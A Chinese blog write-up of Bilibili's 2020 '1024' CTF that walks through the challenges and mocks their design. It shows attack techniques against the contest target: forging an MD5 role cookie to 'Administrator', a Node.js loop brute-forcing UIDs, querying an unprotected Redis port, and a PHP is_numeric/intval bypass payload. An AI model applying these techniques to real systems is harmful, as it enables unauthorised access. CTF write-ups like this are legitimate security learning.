Bilibili 2020「1024 程序员节」CTF Write Up
周六不放假休息,还在这加班搞 CTF?
10 月 24 日不睡觉、凌晨两点钟我还在水群,结果在 USTC@LUG 的群里看见有人在打 Bilibili 的 CTF。我刚刚好一年(指 370 天)没有打过 CTF 了(上一次打正式的 CTF 还是去年参加的 USTC Hackergame 2019),所以想着来玩玩。虽然 CTF 结束之前不应该分享和公开 Write Up 和题解,不过 Bilibili 这 CTF 既然这么离谱,那我也没必要按照常理出牌。
本文更新于 2020 年 10 月 25 日下午 6 点(China Standard Time)。
由于这次 Bilibili 的 CTF 题实在没有什么存档研究的必要,我的 Write Up 里就留一些代码片段和截图,大家也没有复盘的必要。
页面的背后是什么 & 真正的秘密只有特殊的设备才能看到
一个页面,两道题。打开来就是这个页面:
curl 太慢了而且没有代码高亮、直接在地址栏通过 view-source:
看看源码,把 JavaScript 拿出来:
$.ajax({
url: "api/admin",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
var input = document.getElementById("flag1");
input.value = String(data.data);
} else {
// 如果没值
$('#flag1').html("接口异常,请稍后再试~");
}
}
})
所以第一题的 Flag 就是 GET /api/admin
了。在页面上 #flag1
元素是被包裹在一个 display: none
的容器里的,不过审查元素或者直接请求访问 API 都能拿到第一题的 Flag。
$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag2').html("flag2: " + data.data);
} else {
// 如果没值
$('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
}
}
})
第二题要求用「bilibili Security Browser」访问,有没有让你想起来前年 USTC Hackergame 2018 的「黑曜石浏览器」?
直接用 bilibili Security Browser
作为 User-Agent 请求 API 即可获得 Flag,注意别忘了带上 Session
这个 Cookie,这个是 Bilibili 账户登录状态。
Chromium Based 浏览器本身内置了修改了 User-Agent 的功能。打开 DevTools 的设置菜单、在「Devices」里添加一个新的设备,此处可以指定 User-Agent:
之后就可以使用「bilibili Security Browser」访问了:
密码是啥?
这道题没啥好 Write Up 的,全部靠猜。用户名是 admin
密码是 bilibili
。
你这算哪门子 CTF 啊?又不靠社工,真就硬猜?
以及,你给我翻译翻译,什么叫做 falg?
对不起,权限不足~
首次访问:
刷新一次:
有趣,看一下源代码:
$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果没值
$('#flag').html("有些秘密只有超级管理员才能看见哦~")
}
}
})
又是 API 返回 flag,用手指头想都知道鉴权是 Cookie 做的,打开 F12 查看 Cookie:
两个 Cookie,一个是 session
,是 Bilibili 账户登录状态的 cookie;另一个是 role
,毫无疑问就是我们下手的对象:
role=ee11cbb19052e40b07aac0ca060c23ee
打 CTF 的人应该早就把这一串刻进 DNA 里了。即使不知道这串字符是什么东西,丢进搜索引擎后也会知道这是 user
的 MD5。接下来思路就很清晰了,通过将 role
的 Cookie 改成另一串 MD5 即可。
不过这就是这道题离谱的地方了,这道题要把 role
改成 Administrator
的 MD5(你没有看错,首字母是大写的):
role=7b7bc2512ee1fedcd76bdc68926d4f7b
改好 Cookie 刷新页面就可以拿到 flag 了。
别人的秘密
$(function () {
(function ($) {
$.getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);
var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success: function (data) {
console.log(data);
if (data.code == 200) {
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data)
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});
这道题更离谱,上来先在 jQuery 的 $
对象下挂了一个 getUrlParam
方法用来获取 uid、然后还有一个当 uid 不存在时给予默认值的方法(默认值取 100336889
),接下来就是 GET /api/ctf/5?uid=${uid}
。
千万不要学习本题源码中的方法解析 URL 参数!
unescape
不能处理非 ASCII 字符,极易产生乱码,在生产环境中只应使用 WHATWG URL API 的searchParams
!
这道题没什么好说的,直接遍历就好了,Node.js 解法如下:
const http = require('http');
async function get(hostname, path) {
return new Promise((resolve, reject) => {
const req = http.request(
{ hostname, path, method: 'GET' },
(res) => {
const body = [];
res.on('data', (chunk) => { body.push(chunk); });
res.on('end', () => {
try {
resolve(Buffer.concat(body).toString());
} catch (e) {
reject(e);
}
});
req.on('error', (err) => { reject(err); });
}
);
req.setHeader('Cookie', 'session=你的 Session')
req.end();
});
}
(async () => {
const ip = '45.113.201.36'; // 我也不知道靶机的 IP 为什么会变,可能被打死了
let uid = 100336889;
while (true) {
const res = await get(ip, `/api/ctf/5?uid=${uid++}`);
if (JSON.parse(res).code === 200) {
console.log(uid, res);
break;
}
}
})();
唯一值得说的是,如果从他给的 UID 默认值(100336889
)开始往上刷,很快就刷到了(100336952
)。
这我们怎么知道嘛?我反正一开始是从 0 开始刷的,好在我做这道题时是 10 月 24 日凌晨三点、只有几个人在玩,靶机还扛得住,1 亿我真就刷出来了。
结束亦是开始
一个页面,文章标题、内容、分类、标签全部都是 null;评论框是用 HTML5 表单做的、什么都不能提交;URL 的格式是 /blog/single.php?id=1
。
这道题和 CUIT(成都信息科技大学)有一年 CTF 校内赛的渗透题很类似。那道题也是 single.php?id=1
,SQL 提权然后 Get shell 打入内网。所以一开始看到这个 URL 就开始盲猜是 SQL 注入。我当时做到这道题时已经五点了,所以挂上 sqlmap 就去睡觉了,结果并没有做出来这道题(sqlmap 毫无头猪,不过给了疑似存在 Referer 时间戳盲注)。
等做出来第十题后再来看这道题,就觉得非常离谱;到后来做出来的大佬提示大家这是一道脑洞题时,我已经没有心思做下去了。
从第六题开始,所有题目都说「接下来的旅程,需要少年自己去探索啦~」,也就是说接下来所有的题目都是 Web 盲题。
第八题
这道题要靠 nmap 扫端口扫出来,发现 6379 端口开放,当然就是大家最爱的未设防的 Redis 服务器啦。
直接通过 redis-cli 连接靶机,一把梭拿到 flag:
$ redis-cli -h [靶机 IP] -p 6379
45.113.201.36:6379> keys
flag8
45.113.201.36:6379> get flag8
值得注意的是,这 Redis Server 很有趣,因为你使用任何其它命令都只会返回 OK:
所以,这个很可能是个假的 Redis Server、就是个 REPL,也许第九题就是道 pwn 题呢?
第十题
第十题的入口要靠目录爆破,我使用的工具是 dirsearch:
直接访问 /test.php
是个 JSFuck,所以直接丢进 Console 就好了:
程序员最多的地方 bilibili1024havefun
程序员最多的地方当然是 GitHub 了。去 GitHub 上搜索 bilibili1024havefun
很容易就可以找到这个仓库 interesting-1024/end:
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
所以这道题就是在 /blog/end.php
里了,构建 Payload 以获取 Flag。这道题考察的是 is_numeric
和 intval
如何绕过、以及 $_GET
的一些脑洞。这道题最终的 Payload 是:
/blog/end.php?id[]=x&id[]=0.1&url=./flag.txt
url
参数只要包含flag.txt
即可,所以你就算url=114514flag.txt1919810
都是可以的。和某些人说的/api/ctf/10/flag.txt
、/api/ctf/6/flag.txt
完全没有关系。
这道题最简洁的思路是利用 $_GET
支持返回数组 :
<?php
print_r($_GET['tag_name']);
// http://127.0.0.1/index.php?tag_name[]=苏卡卡&tag_name[]=大尾巴狐狸
// Array ( [0] => 苏卡卡 [1] => 大尾巴狐狸 )
关于如何 Bypass is_numeric
、intval
,我找到了一篇写的还挺全面的文章「CTF 中常见 PHP 特性学习笔记」。
顺便,不少战队和选手通过
$file_get_contents
逃逸后,把每道题的源码都读了一遍、甚至通过读取/dev/urandom
和/dev/random
拖死了靶机,不过这已经是后话了。
尾声
USTC Hackergame 2018 为了「黑曜石浏览器」的题专门上线了一个官网、在那个官网的源码中隐藏了 Heicore Browser 的 User-Agent,Bilibili 的第二题是一个非常拙劣的模仿;第三题直接就是脑筋急转弯,和渗透、社工毫无关联,密码纯粹靠猜;第四题更是表现了出题人的前端知识基本为 0,使用从 CSDN 上抄来的 URL 参数解析代码,却不知道 JavaScript 中 unescape
不能处理非 ASCII 字符(更不必说 unescape
是一个已被弃用的方法),基本上是个前端都知道宁肯引入 URL.searchParams
的 Polyfill 也不应该自己解析 URL;第五题并没有明确提示告诉大家应该从给定的默认 uid 开始刷(你给我翻译翻译,谁家系统的超级管理员 uid 不是小于 10 而是大于 1 亿的?)。在经过了这么多无厘头的题目以后,接下来上来就是五道 Web 盲题:未设防 Redis 题本来可以深入到 Get shell、提权的,结果第八题草草 get flag8
了事;第十题的「文件路径猜解」更是非常无厘头,当做题人构建完能绕过 is_numeric
和 intval
的 Payload 后,还要猜测 url
参数的取值需要包含 flag.txt
才能取到最终的 flag;而且第十题拿到的图片直接 tail
就能拿到 flag,而图片隐写本来是非常经典的 CTF 考法。
无厘头的题目、加上混乱的活动页面(Vue 和 jQuery 齐飞、Element UI 共 Bootstrap 一色),再联想起 Bilibili 中间件源码泄漏、Anankke 在新年活动上 只用两小时就刷出了 11 亿美食值,我们大体上可以猜测的出 Bilibili 内部混乱的管理、松散的组织,和极度不重视信息安全、乃至极度不重视技术的风气。Bilibili 这一次的 CTF 暴露出来的问题,远不止选手用 /blog/end.php
读取 /dev/urandom
和 /dev/random
耗尽靶机性能导致题目 404 这么简单了。